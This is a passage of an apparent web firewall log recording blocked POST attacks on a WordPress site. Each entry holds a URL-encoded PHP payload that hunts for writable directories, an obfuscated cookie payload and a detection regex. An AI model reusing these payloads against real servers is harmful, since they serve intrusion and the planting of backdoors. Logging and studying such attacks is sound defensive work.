3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpzVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\nrb=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 19:21:30","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","60秒以内累计超过6次以上非法请求,封锁720秒","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4400\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpzVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\nrb=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 19:22:09","57.128.189.50","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> XT:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4400\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJSDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\nXT=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 19:22:43","162.214.207.1","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> gl:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4400\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM2jvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\ngl=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
